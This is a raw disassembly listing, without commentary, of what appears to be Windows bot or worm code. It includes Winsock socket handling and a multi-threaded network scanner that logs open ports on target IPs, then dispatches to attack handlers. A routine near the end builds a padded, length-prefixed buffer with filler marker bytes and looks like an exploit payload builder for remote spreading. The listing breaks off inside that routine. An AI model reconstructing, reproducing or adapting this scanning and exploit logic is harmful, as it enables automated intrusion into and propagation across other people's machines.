arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42387E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42387E: ; CODE XREF: sub_423850+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
call near ptr 71AB2B66h
nop
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
call near ptr 71AB4519h
nop
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423940: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_436840
push ebx
push ebp
mov ebp, dword_50FC2C
push esi
push edi
push 2649h
call ebp ; ntohs
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; ntohs
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; ntohs
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; ntohs
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A28
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; ntohs
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423A69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423B68
; ---------------------------------------------------------------------------
loc_423A69: ; CODE XREF: ___:00423A5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
nop
call near ptr 71AB2C69h
mov edi, eax
cmp edi, 14h
jz short loc_423AC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
nop
call sub_5EE1E5
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423AC2: ; CODE XREF: ___:00423A87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423B13
mov edi, dword_50FC58
loc_423AEA: ; CODE XREF: ___:00423B11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; recvfrom
test eax, eax
jl short loc_423B42
cmp [esp+0FEh], bp
jnz short loc_423AEA
loc_423B13: ; CODE XREF: ___:00423AE2j
push esi
call near ptr 71AB9639h
nop
cmp word ptr [esp+10Eh], 1
jnz short loc_423B63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B42: ; CODE XREF: ___:00423B07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B63: ; CODE XREF: ___:00423B23j
push offset dword_44467C
loc_423B68: ; CODE XREF: ___:00423A64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423C10: ; CODE XREF: ___:loc_401F23j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
nop
call near ptr 27F0769h
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:448FCBh[eax*4]
mov eax, dword_4491CF[eax*4]
mov ecx, dword_50BB94[eax*8]
test ecx, ecx
jz loc_423EC4
mov ebx, off_50FBF0
loc_423C8C: ; CODE XREF: ___:00423EBAj
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423CA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423CAF
; ---------------------------------------------------------------------------
loc_423CA7: ; CODE XREF: ___:00423C96j
call sub_401F37
add esp, 4
loc_423CAF: ; CODE XREF: ___:00423CA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_50FC78
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5EE1E5
add esp, 18h
lea ecx, [esp+220h]
push ecx
push ebp
call ebx ; sub_5EE1E5
mov edx, [esp+138h]
mov eax, [esp+134h]
push edx
push eax
push esi
call sub_401E38
add esp, 14h
cmp eax, 1
jnz loc_423EA0
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423DC2
push offset dword_50DAD0
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; inet_ntoa
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5EE1E5
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423DA2
mov al, [esp+0A8h]
test al, al
jz short loc_423D7D
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423D9A
; ---------------------------------------------------------------------------
loc_423D7D: ; CODE XREF: ___:00423D59j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423D9A: ; CODE XREF: ___:00423D7Bj
call sub_401523
add esp, 10h
loc_423DA2: ; CODE XREF: ___:00423D4Ej
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50DAD0
nop
call near ptr 7C9010EDh
jmp loc_423EA0
; ---------------------------------------------------------------------------
loc_423DC2: ; CODE XREF: ___:00423D16j
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5EE1E5
mov eax, [esp+150h]
add esp, 8
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+1F8h]
lea edx, ds:444420h[ecx*4]
push edx
push eax
call ebx ; sub_5EE1E5
mov al, [esp+0B0h]
add esp, 8
test al, al
jz short loc_423E12
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423E1F
; ---------------------------------------------------------------------------
loc_423E12: ; CODE XREF: ___:00423DFEj
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423E1F: ; CODE XREF: ___:00423E10j
call ebx ; sub_5EE1E5
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44444C[edx*4]
add esp, 0BCh
loc_423EA0: ; CODE XREF: ___:00423D08j
; ___:00423DBDj
push 7D0h
call near ptr 2850303h
nop
mov eax, [ebp+204h]
mov ecx, dword_50BB94[eax*8]
test ecx, ecx
jnz loc_423C8C
mov esi, [esp+10h]
loc_423EC4: ; CODE XREF: ___:00423C80j
push esi
call sub_401E24
add esp, 4
push 0
call near ptr 2850431h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_402261j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50BB90[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_401483
add esp, 150h
cmp eax, ebx
jnz short loc_424021
push offset dword_50DAD0
call near ptr 2780000h
nop
push offset dword_50DAD0
nop
call near ptr 27806E9h
loc_424021: ; CODE XREF: ___:00424009j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_50F8D0
mov esi, ebx
mov dword_50BB94[edx*8], ebx
cmp eax, ebx
mov ebx, off_50FBF0
jb loc_424150
mov edi, dword_50F860
loc_424052: ; CODE XREF: ___:0042414Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5EE1E5
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BD6
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F23
push 0
push 0
mov dword_4491CF[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_4491DF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_4491DF[eax*4]
test ecx, ecx
jz short loc_424118
mov eax, [esp+158h]
test eax, eax
jnz short loc_42413E
loc_424107: ; CODE XREF: ___:00424114j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_424107
jmp short loc_42413E
; ---------------------------------------------------------------------------
loc_424118: ; CODE XREF: ___:004240FAj
nop
call near ptr 27C0896h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5EE1E5
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42413E: ; CODE XREF: ___:00424105j
; ___:00424116j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424052
loc_424150: ; CODE XREF: ___:00424046j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42417E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_4241B1
; ---------------------------------------------------------------------------
loc_42417E: ; CODE XREF: ___:00424159j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50BB94[ecx*8], esi
jnz short loc_4241B1
loc_424193: ; CODE XREF: ___:004241A8j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50BB94[edx*8], esi
jz short loc_424193
mov eax, [esp+12Ch]
loc_4241B1: ; CODE XREF: ___:0042417Cj
; ___:00424191j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50BB90[ecx*8]
push ecx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5EE1E5
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_424212
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_401523
add esp, 10h
loc_424212: ; CODE XREF: ___:004241EBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50BB94[eax*8], 0
call ebp
push 3
call sub_401483
add esp, 4
cmp eax, esi
jnz short loc_424254
push offset dword_50DAD0
call near ptr 2780000h
nop
loc_424254: ; CODE XREF: ___:00424247j
mov ecx, [esp+130h]
push ecx
call sub_401E24
add esp, 4
push 0
nop
call near ptr 2850431h
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424330 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424330 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424350: ; CODE XREF: ___:004015E1j
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401834
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4243A0 proc near ; CODE XREF: sub_401834j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
call near ptr 77C2C407h
nop
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4243F2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4243F2: ; CODE XREF: sub_4243A0+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_4243A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424420 proc near ; CODE XREF: sub_4021D5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
call near ptr 77C2C407h
nop
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424494
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424494: ; CODE XREF: sub_424420+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424420 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4244C0 proc near ; CODE XREF: sub_4016B8j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4244D3
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4244D3: ; CODE XREF: sub_4244C0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4244C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_424517
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424517: ; CODE XREF: sub_424500+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
nop
call near ptr 77C2C407h
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424545
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424545: ; CODE XREF: sub_424500+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424574
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42458F
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42458F: ; CODE XREF: sub_424500+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_424500 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245F0 proc near ; CODE XREF: sub_401B68j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_446F74
lea ecx, [esp+20h+var_8]
call sub_4021D5
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424635
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424635: ; CODE XREF: sub_4245F0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016B8
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016B8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4245F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424720 proc near ; CODE XREF: sub_402036j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424720 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424760 proc near ; CODE XREF: sub_4014FBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424760 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424790 proc near ; CODE XREF: sub_4017CBj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_4247A4
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4247A4: ; CODE XREF: sub_424790+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_444BA4
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424790 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_401EABj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_4014FB
test al, al
jnz short loc_42481C
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_42481C: ; CODE XREF: sub_424800+16j
mov ecx, esi
call sub_4017CB
pop esi
retn 8
sub_424800 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401BEAj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424C15
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424C15
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_444840
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_444848
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B68
lea ecx, [esp+864h+var_830]
call sub_4017CB
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "░B░B░B░B"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B68
push offset loc_444BC8
lea ecx, [esp+868h+var_810]
call sub_402036
lea ecx, [esp+864h+var_810]
call sub_401B68
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401834
lea ecx, [esp+864h+var_808]
call sub_401B68
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EAB
lea ecx, [esp+864h+var_808]
call sub_4016B8
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402036
push 4
push offset dword_44484C
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B68
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
lea ecx, [esp+864h+var_820]
call sub_4017CB
lea ecx, [esp+864h+var_848]
call sub_4016B8
lea ecx, [esp+864h+var_810]
call sub_4016B8
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
lea ecx, [esp+864h+var_828]
call sub_4017CB
lea ecx, [esp+864h+var_840]
call sub_4016B8
lea ecx, [esp+864h+var_830]
call sub_4016B8
lea ecx, [esp+864h+var_820]
call sub_4016B8
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B68
push 2
push offset dword_444BBC
lea ecx, [esp+86Ch+var_838]
